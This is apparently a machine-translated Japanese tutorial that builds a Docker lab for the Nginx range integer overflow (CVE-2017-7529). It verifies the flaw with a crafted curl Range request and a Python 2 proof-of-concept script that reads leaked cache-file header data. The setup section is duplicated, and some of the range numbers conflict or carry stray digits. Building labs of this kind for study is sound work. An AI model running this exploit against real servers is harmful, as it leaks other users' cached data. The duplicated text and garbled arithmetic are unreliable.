Dockerを使用してNginx整数オーバーフローホール(CVE-2017-7529)およびPython PoC検証を構築
脆弱性の詳細はhttp://www.freebuf.com/articles/terminal/140402.html
コンテナを作成するには
以前に作成したミラーubuntu_を使用aliyun:1.0新しいコンテナを作成するには:
docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0
docker exec -it id/bin/bash
apt-get update
次に、次のような必要なパッケージをインストールします.
apt-get install wget gcc make curl vim python
インストールNginx:
2つのインストール方法があります.1つはapt-get install nginxを直接通過することで、現在のテストインストールのバージョンは1.10です.3、しかしこのようなインストールを推薦しないで、デフォルトのインストールはすべて公式サイトがパッチを打ったのです(しかしテストしていません);
もう1つの方法はソースコードのインストールであり、ここでは1.13をダウンロードする.バージョン0:
wget http://nginx.org/download/nginx-1.13.0.tar.gz
tar -zxvf nginx-1.13.0.tar.gz
cd/nginx
./configure --prefix=/opt/nginx
make
make install
期間中configureを実行すると、対応するライブラリのインストールが必要であることが通知されます.
apt-get install libpcre3 libpcre3-dev zlib1g-dev
それからmakeとmake installでいいです.次にNginxのディレクトリに入り、バージョンを表示して開きます.
逆プロキシを構成するには、次の手順に従います.
/homeディレクトリにtestを新規作成します.htmlファイルをテストし、コマンドを入力します.
nohup python -m SimpleHTTPServer 8080 &
このコマンドは、簡単なHTTPサーバを作成し、バックグラウンドで実行します.
curlでアクセスできることを確認します.
次に、Nginxプロファイルを変更します.
vim/opt/nginx/conf/nginx.conf
httpのserverのlicationに次のものを追加します.
proxy_pass http://127.0.0.1:8080;
終了を保存し、Nginxを再起動します(関連プロセスをkillしてから./nginxが開きます).
物理マシンでアクセスしてみます.
図のように逆プロキシ構成にアクセスできました.
nginxを変更します.confファイルテストの脆弱性:
冒頭のFreeBufの文章の内容に従って修正します.ここの画像のURLは当時ブログを見ていたときに勝手に探したもので、赤い枠の内容は追加、修正の内容です.
curlコマンドを2回呼び出すと、headerにX-Proxy-CAcheフィールドがあり、その値が最初のMISSから2回目までHITであることがわかります.つまり、2回のアクセスでヒットキャッシュがあり、また、このピクチャファイルのサイズが152814 bitsであることもわかります.
次に、Nginxキャッシュファイルのパスを検索します.
find/tmp/nginx
最も長いパスを見つけて、headコマンドで最初の行を見てみましょう.
「KEY」キーが存在することがわかります.つまり、2層のキャッシュを実現し、本物の画像があるサーバとNginxサーバの間のヘッダ情報を見ることができます.
次に、関連するrange値を計算します.
画像のサイズをimg_と記すlen,img_len=152814
合計サイズ値をlenとするとlen=0×8000000000000000
最初の範囲値range 1が他のデータを前に読み出すためにrange 1とimg_lenの差は600程度に保つことが望ましい(個人が他の数値をテストしても、大きすぎるか小さすぎるかは結果に影響する)、すなわちrange 1-img_len=600、range 1=1534414を得る
2番目の範囲値range 2=len-range 1でrange 2=92233720368546222394
最後に、2つのrange値をcurlの-rパラメータに配置すればいいです.出力が多いので、1つのファイルに出力してから表示すればいいです.
curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt
vim 1.txt
KEYキーがあり、Nginxと元のサーバの情報が表示されます.ヘッダにはContent-Langeフィールドがあり、その値は設定されたrange値の範囲であり、Nginx整数オーバーフローホールの存在を検証しています.
PoC検証の作成:
次のスクリプトは簡単で、Linuxのcurlコマンドを直接使用して検証を実現するため、Linuxで実行します.
別のdockerコンテナkali-linux-dockerでスクリプトを実行します(検証の前提は、現在のホストがこのURLにアクセスしていないか、アクセスしてからずいぶん経ちました.検証時にキャッシュが存在しないことです).
この脆弱性の検証に成功したことがわかります.
Dockerミラーを作成し、パッケージ化します.
exit
docker stop id
docker commit id nginx_int_overflow:1.0
docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0
これでNginx整数オーバーフローホール環境の構築とPoCの検証が完了しました.その中でこのスクリプトは最適化できるところやWindowsの下のPoCを作成できるところがたくさんあります.時間があれば変更しましょう.
コンテナを作成するには
以前に作成したミラーubuntu_を使用aliyun:1.0新しいコンテナを作成するには:
docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0
docker exec -it id/bin/bash
apt-get update
次に、次のような必要なパッケージをインストールします.
apt-get install wget gcc make curl vim python
インストールNginx:
2つのインストール方法があります.1つはapt-get install nginxを直接通過することで、現在のテストインストールのバージョンは1.10です.3、しかしこのようなインストールを推薦しないで、デフォルトのインストールはすべて公式サイトがパッチを打ったのです(しかしテストしていません);
もう1つの方法はソースコードのインストールであり、ここでは1.13をダウンロードする.バージョン0:
wget http://nginx.org/download/nginx-1.13.0.tar.gz
tar -zxvf nginx-1.13.0.tar.gz
cd/nginx
./configure --prefix=/opt/nginx
make
make install
期間中configureを実行すると、対応するライブラリのインストールが必要であることが通知されます.
apt-get install libpcre3 libpcre3-dev zlib1g-dev
それからmakeとmake installでいいです.次にNginxのディレクトリに入り、バージョンを表示して開きます.
逆プロキシを構成するには、次の手順に従います.
/homeディレクトリにtestを新規作成します.htmlファイルをテストし、コマンドを入力します.
nohup python -m SimpleHTTPServer 8080 &
このコマンドは、簡単なHTTPサーバを作成し、バックグラウンドで実行します.
curlでアクセスできることを確認します.
次に、Nginxプロファイルを変更します.
vim/opt/nginx/conf/nginx.conf
httpのserverのlicationに次のものを追加します.
proxy_pass http://127.0.0.1:8080;
終了を保存し、Nginxを再起動します(関連プロセスをkillしてから./nginxが開きます).
物理マシンでアクセスしてみます.
図のように逆プロキシ構成にアクセスできました.
nginxを変更します.confファイルテストの脆弱性:
冒頭のFreeBufの文章の内容に従って修正します.ここの画像のURLは当時ブログを見ていたときに勝手に探したもので、赤い枠の内容は追加、修正の内容です.
curlコマンドを2回呼び出すと、headerにX-Proxy-CAcheフィールドがあり、その値が最初のMISSから2回目までHITであることがわかります.つまり、2回のアクセスでヒットキャッシュがあり、また、このピクチャファイルのサイズが152814 bitsであることもわかります.
次に、Nginxキャッシュファイルのパスを検索します.
find/tmp/nginx
最も長いパスを見つけて、headコマンドで最初の行を見てみましょう.
「KEY」キーが存在することがわかります.つまり、2層のキャッシュを実現し、本物の画像があるサーバとNginxサーバの間のヘッダ情報を見ることができます.
次に、関連するrange値を計算します.
画像のサイズをimg_と記すlen,img_len=152814
合計サイズ値をlenとするとlen=0×8000000000000000
最初の範囲値range 1が他のデータを前に読み出すためにrange 1とimg_lenの差は600程度に保つことが望ましい(個人が他の数値をテストしても、大きすぎるか小さすぎるかは結果に影響する)、すなわちrange 1-img_len=600、range 1=1534414を得る
2番目の範囲値range 2=len-range 1でrange 2=92233720368546222394
最後に、2つのrange値をcurlの-rパラメータに配置すればいいです.出力が多いので、1つのファイルに出力してから表示すればいいです.
curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt
vim 1.txt
KEYキーがあり、Nginxと元のサーバの情報が表示されます.ヘッダにはContent-Langeフィールドがあり、その値は設定されたrange値の範囲であり、Nginx整数オーバーフローホールの存在を検証しています.
PoC検証の作成:
次のスクリプトは簡単で、Linuxのcurlコマンドを直接使用して検証を実現するため、Linuxで実行します.
#!/usr/bin/python
#coding=utf-8
import os
import commands
import sys
def poc(url):
print '[*]Testing for: ' + url
cmd1 = 'curl -I ' + url
os.popen(cmd1)
os.popen(cmd1)
re1 = commands.getoutput(cmd1).split('
')
hit = False
has_x_proxy_cache = False
img_len = 0
for i in range(0,len(re1)):
# print re1[i]
if 'X-Proxy-Cache' in re1[i]:
has_x_proxy_cache = True
if 'HIT' in re1[i]:
hit = True
if 'Content-Length' in re1[i]:
img_len = int(re1[i].split(' ')[1])
if has_x_proxy_cache:
if hit:
print '[*]X-Proxy-Cache is HIT.'
print '[*]The image length: ' + str(img_len)
len1 = img_len + 600
len2 = 0x8000000000000000 - len1
cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2)
re2 = commands.getoutput(cmd2).split('
')
vul = False
for i in range(0,len(re2)):
if 'KEY' in re2[i]:
print '[+]Nginx Int Overflow(CVE-2017-7529) exists!'
print '[+]' + re2[i]
vul = True
if not vul:
print '[-]Can not find the vuln.'
else:
print '[-]The X-Proxy-Cache is MISS.'
print '[-]Can not find the vuln.'
else:
print '[-]The header without X-Proxy-Cache.'
print '[-]Can not find the vuln.'
def main():
if len(sys.argv) == 2:
url = sys.argv[1]
poc(url)
else:
print '[*]Usage: python nginx_int_overflow.py [URL]'
if __name__ == '__main__':
main()
別のdockerコンテナkali-linux-dockerでスクリプトを実行します(検証の前提は、現在のホストがこのURLにアクセスしていないか、アクセスしてからずいぶん経ちました.検証時にキャッシュが存在しないことです).
この脆弱性の検証に成功したことがわかります.
Dockerミラーを作成し、パッケージ化します.
exit
docker stop id
docker commit id nginx_int_overflow:1.0
docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0
これでNginx整数オーバーフローホール環境の構築とPoCの検証が完了しました.その中でこのスクリプトは最適化できるところやWindowsの下のPoCを作成できるところがたくさんあります.時間があれば変更しましょう.